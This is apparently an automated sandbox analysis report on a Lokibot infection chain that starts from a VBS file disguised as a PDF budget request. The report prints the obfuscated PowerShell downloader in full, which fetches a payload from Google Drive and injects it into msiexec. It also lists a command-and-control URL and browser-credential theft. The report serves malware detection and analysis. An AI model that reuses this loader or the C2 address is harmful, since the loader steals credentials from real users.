Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 60000	Jump to behavior

Source: powershell.exe, 00000001.00000002.1906613189.00000211ABE90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: msiexec.exe, 00000008.00000002.2948258092.00000000042AA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004314000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7408.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7784, type: MEMORYSTR

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 2E00000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 2ADF884			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#bjrgning indicerede afskrkkelsesvaabnenes halvfabrikatas myosuture skilteskrift pensils #>;$ammoniacs='befragters';<#avilion kendall kicking #>;$attesterende=$host.privatedata;if ($attesterende) {$jernbanelinier++;}function preeliminator($amagerhylde){$drukkenbolten=$chaussure+$amagerhylde.length-$jernbanelinier;for( $getling=5;$getling -lt $drukkenbolten;$getling+=6){$nordfljs180+=$amagerhylde[$getling];}$nordfljs180;}function glederens($floraer207){ & ($eftertragtelsers) ($floraer207);}$spisefrikvarteret=preeliminator 'gelatmphotoosdsupzss ori o belqu etlrenataamphi/ tilh5ve an.not r0udson ind c(afgaswsanitilabi nharpudptomaobetraw pl nsa.cum vedblnn,nmet stfo so.si1 a ne0opium.jetti0foraa;,nman b,lthwmodtai k otn ern6ratba4tynds;koldk supe xlegac6cellm4 triu;rolni vindermlescvmods,:per c1parti2 pre 1et al.savne0edgew)belly trickgs.cceeheltic afgrkoleogoventr/blods2 .isq0s,uth1froko0s nsi0konde1selek0batus1udkry detonfh spiivillargenn eblubbfciffeosalatxlabba/midte1 ver,2 v rg1 over.kem i0 oni ';$melton=preeliminator ' handuunivesafs neunexprfrema- blk ajackfgbr gaedekann uflytadnex ';$tessituras160=preeliminator 'fristhkvi dtb dbatlow,ip.recaslejei:e ter/amati/s.mlidpret rspeedihandlvsyzyge pati.ove sg ri.godemisopelviguncleltwatceunsu .exo,ecunco ofiskemmi mo/mongcusja,kcagrar? de.memrkatx .ackp fantohkkerrconvetoblig=nulpudsstteojordewenaarnreceplskinnogla sa opsadk mmu&cir uisv dsdmerin=drift1nondeqslutmt tyk okonsekidesvbgyno jpagodw andglstikplintenxnonde3.erved liniwclonkbwall.cdivisg au,orgl tslspina8nonciqsy eczzairiataxam0bonnnhkendeysynenupa il0mackiwsyndrtsundasudskrj gnis7syvaa ';$reskaleringen=preeliminator 's,rig>yu ca ';$eftertragtelsers=preeliminator 'beaveieforeeattacx,ekto ';$amazonernes='chromophoric';$cogida='\reebok.dia';glederens (preeliminator 'lazur$svmmegproatlk ledocatalbrealiabulbolda ks:cam ov recreovervrlistedvaskoe di inwa,ersthorphudv simattessenegts amnomavefrindfrikornfs prudk raile reoxsverds=polem$fusenedimminhal,fv intr:bj.rgapseudph micpbekradmajesas efftorakla ortr+blin $reawoc blinobudmagdestii coundmemoraelekt ');glederens (preeliminator 'jingl$mayb ggadenlstikkomust b knapacourtlpligt:croaptan ihrheroleparadbhy era k ncnhete ejanifn lsni=sente$ const mysteoutbls sikks pseuipatentsta iualb.tr,utokapachoslevef1 m,mo6fer d0 chem.unshissta dp.bseslstockiscourtbr sk( hete$someortoot.etros s analklokalakreatl .epteunfurrbarduisarconstiklgantife lab n lat,) anga ');glederens (preeliminator 'flyde[s.empn i.laenaziptdinor.yestesforneerigorrkennevdybsiihortecsalicescootptabacofacahihairin ma gt ,entmapplia lil ntreadadisd gsamlee commrembub]bitte:cycli:gastrsfeltheheateca foru rnearaflsei ongotfie dy .odspavle randreo blegtcastioop,racstyreomu tilseism pres =udhal opspa[ bhutn afk.e knitt udga.,artjs ropdebundlcresilus rivreks.mi tiftt rsuypaperphenver huxto mulitboy,ooforskc unceoksneh
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "<#bjrgning indicerede afskrkkelsesvaabnenes halvfabrikatas myosuture skilteskrift pensils #>;$ammoniacs='befragters';<#avilion kendall kicking #>;$attesterende=$host.privatedata;if ($attesterende) {$jernbanelinier++;}function preeliminator($amagerhylde){$drukkenbolten=$chaussure+$amagerhylde.length-$jernbanelinier;for( $getling=5;$getling -lt $drukkenbolten;$getling+=6){$nordfljs180+=$amagerhylde[$getling];}$nordfljs180;}function glederens($floraer207){ & ($eftertragtelsers) ($floraer207);}$spisefrikvarteret=preeliminator 'gelatmphotoosdsupzss ori o belqu etlrenataamphi/ tilh5ve an.not r0udson ind c(afgaswsanitilabi nharpudptomaobetraw pl nsa.cum vedblnn,nmet stfo so.si1 a ne0opium.jetti0foraa;,nman b,lthwmodtai k otn ern6ratba4tynds;koldk supe xlegac6cellm4 triu;rolni vindermlescvmods,:per c1parti2 pre 1et al.savne0edgew)belly trickgs.cceeheltic afgrkoleogoventr/blods2 .isq0s,uth1froko0s nsi0konde1selek0batus1udkry detonfh spiivillargenn eblubbfciffeosalatxlabba/midte1 ver,2 v rg1 over.kem i0 oni ';$melton=preeliminator ' handuunivesafs neunexprfrema- blk ajackfgbr gaedekann uflytadnex ';$tessituras160=preeliminator 'fristhkvi dtb dbatlow,ip.recaslejei:e ter/amati/s.mlidpret rspeedihandlvsyzyge pati.ove sg ri.godemisopelviguncleltwatceunsu .exo,ecunco ofiskemmi mo/mongcusja,kcagrar? de.memrkatx .ackp fantohkkerrconvetoblig=nulpudsstteojordewenaarnreceplskinnogla sa opsadk mmu&cir uisv dsdmerin=drift1nondeqslutmt tyk okonsekidesvbgyno jpagodw andglstikplintenxnonde3.erved liniwclonkbwall.cdivisg au,orgl tslspina8nonciqsy eczzairiataxam0bonnnhkendeysynenupa il0mackiwsyndrtsundasudskrj gnis7syvaa ';$reskaleringen=preeliminator 's,rig>yu ca ';$eftertragtelsers=preeliminator 'beaveieforeeattacx,ekto ';$amazonernes='chromophoric';$cogida='\reebok.dia';glederens (preeliminator 'lazur$svmmegproatlk ledocatalbrealiabulbolda ks:cam ov recreovervrlistedvaskoe di inwa,ersthorphudv simattessenegts amnomavefrindfrikornfs prudk raile reoxsverds=polem$fusenedimminhal,fv intr:bj.rgapseudph micpbekradmajesas efftorakla ortr+blin $reawoc blinobudmagdestii coundmemoraelekt ');glederens (preeliminator 'jingl$mayb ggadenlstikkomust b knapacourtlpligt:croaptan ihrheroleparadbhy era k ncnhete ejanifn lsni=sente$ const mysteoutbls sikks pseuipatentsta iualb.tr,utokapachoslevef1 m,mo6fer d0 chem.unshissta dp.bseslstockiscourtbr sk( hete$someortoot.etros s analklokalakreatl .epteunfurrbarduisarconstiklgantife lab n lat,) anga ');glederens (preeliminator 'flyde[s.empn i.laenaziptdinor.yestesforneerigorrkennevdybsiihortecsalicescootptabacofacahihairin ma gt ,entmapplia lil ntreadadisd gsamlee commrembub]bitte:cycli:gastrsfeltheheateca foru rnearaflsei ongotfie dy .odspavle randreo blegtcastioop,racstyreomu tilseism pres =udhal opspa[ bhutn afk.e knitt udga.,artjs ropdebundlcresilus rivreks.mi tiftt rsuypaperphenver huxto mulitboy,ooforskc unceoksneh
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#bjrgning indicerede afskrkkelsesvaabnenes halvfabrikatas myosuture skilteskrift pensils #>;$ammoniacs='befragters';<#avilion kendall kicking #>;$attesterende=$host.privatedata;if ($attesterende) {$jernbanelinier++;}function preeliminator($amagerhylde){$drukkenbolten=$chaussure+$amagerhylde.length-$jernbanelinier;for( $getling=5;$getling -lt $drukkenbolten;$getling+=6){$nordfljs180+=$amagerhylde[$getling];}$nordfljs180;}function glederens($floraer207){ & ($eftertragtelsers) ($floraer207);}$spisefrikvarteret=preeliminator 'gelatmphotoosdsupzss ori o belqu etlrenataamphi/ tilh5ve an.not r0udson ind c(afgaswsanitilabi nharpudptomaobetraw pl nsa.cum vedblnn,nmet stfo so.si1 a ne0opium.jetti0foraa;,nman b,lthwmodtai k otn ern6ratba4tynds;koldk supe xlegac6cellm4 triu;rolni vindermlescvmods,:per c1parti2 pre 1et al.savne0edgew)belly trickgs.cceeheltic afgrkoleogoventr/blods2 .isq0s,uth1froko0s nsi0konde1selek0batus1udkry detonfh spiivillargenn eblubbfciffeosalatxlabba/midte1 ver,2 v rg1 over.kem i0 oni ';$melton=preeliminator ' handuunivesafs neunexprfrema- blk ajackfgbr gaedekann uflytadnex ';$tessituras160=preeliminator 'fristhkvi dtb dbatlow,ip.recaslejei:e ter/amati/s.mlidpret rspeedihandlvsyzyge pati.ove sg ri.godemisopelviguncleltwatceunsu .exo,ecunco ofiskemmi mo/mongcusja,kcagrar? de.memrkatx .ackp fantohkkerrconvetoblig=nulpudsstteojordewenaarnreceplskinnogla sa opsadk mmu&cir uisv dsdmerin=drift1nondeqslutmt tyk okonsekidesvbgyno jpagodw andglstikplintenxnonde3.erved liniwclonkbwall.cdivisg au,orgl tslspina8nonciqsy eczzairiataxam0bonnnhkendeysynenupa il0mackiwsyndrtsundasudskrj gnis7syvaa ';$reskaleringen=preeliminator 's,rig>yu ca ';$eftertragtelsers=preeliminator 'beaveieforeeattacx,ekto ';$amazonernes='chromophoric';$cogida='\reebok.dia';glederens (preeliminator 'lazur$svmmegproatlk ledocatalbrealiabulbolda ks:cam ov recreovervrlistedvaskoe di inwa,ersthorphudv simattessenegts amnomavefrindfrikornfs prudk raile reoxsverds=polem$fusenedimminhal,fv intr:bj.rgapseudph micpbekradmajesas efftorakla ortr+blin $reawoc blinobudmagdestii coundmemoraelekt ');glederens (preeliminator 'jingl$mayb ggadenlstikkomust b knapacourtlpligt:croaptan ihrheroleparadbhy era k ncnhete ejanifn lsni=sente$ const mysteoutbls sikks pseuipatentsta iualb.tr,utokapachoslevef1 m,mo6fer d0 chem.unshissta dp.bseslstockiscourtbr sk( hete$someortoot.etros s analklokalakreatl .epteunfurrbarduisarconstiklgantife lab n lat,) anga ');glederens (preeliminator 'flyde[s.empn i.laenaziptdinor.yestesforneerigorrkennevdybsiihortecsalicescootptabacofacahihairin ma gt ,entmapplia lil ntreadadisd gsamlee commrembub]bitte:cycli:gastrsfeltheheateca foru rnearaflsei ongotfie dy .odspavle randreo blegtcastioop,racstyreomu tilseism pres =udhal opspa[ bhutn afk.e knitt udga.,artjs ropdebundlcresilus rivreks.mi tiftt rsuypaperphenver huxto mulitboy,ooforskc unceoksneh	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 8076, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Remote Access Functionality

Yara detected Lokibot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 8076, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	221 Scripting	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	18%	ReversingLabs	Win32.Trojan.Leonem
PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs	21%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\188E93\31437F.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\188E93\31437F.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
18.31.95.13.in-addr.arpa	0%	Virustotal	Browse
drive.google.com	0%	Virustotal	Browse
drive.usercontent.google.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://drive.usercontent.google.com	1%	Virustotal		Browse
https://drive.usercontent.google.com/	1%	Virustotal		Browse
https://wordpress.org/documentation/article/faq-troubleshooting/	0%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://drive.google.com/	0%	Virustotal		Browse
https://drive.google.com	0%	Virustotal		Browse
http://drive.google.com	0%	Virustotal		Browse
https://drive.usercontent.google.com	1%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://137.184.191.215/index.php/check.php?s=am9ntjjw	16%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	172.217.18.14	true	false	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	142.250.186.33	true	false	1%, Virustotal, Browse	unknown
18.31.95.13.in-addr.arpa	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://137.184.191.215/index.php/check.php?s=am9ntjjw	true	16%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://drive.usercontent.google.com/-	msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://drive.usercontent.google.com	powershell.exe, 00000001.00000002.1864327822.0000021195A66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195640000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1864327822.0000021193AA7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000001.00000002.1864327822.0000021194746000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.googP	powershell.exe, 00000001.00000002.1864327822.00000211955FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.00000211959D4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://wordpress.org/documentation/article/faq-troubleshooting/	msiexec.exe, 00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.usercontent.googh	powershell.exe, 00000001.00000002.1864327822.0000021195629000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/	msiexec.exe, 00000008.00000003.2158130127.0000000004360000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2228849049.0000000004327000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.2948258092.0000000004328000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://drive.google.com	powershell.exe, 00000001.00000002.1864327822.00000211959D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1864327822.0000021195604000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.google.com/7h	msiexec.exe, 00000008.00000002.2948258092.00000000042AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
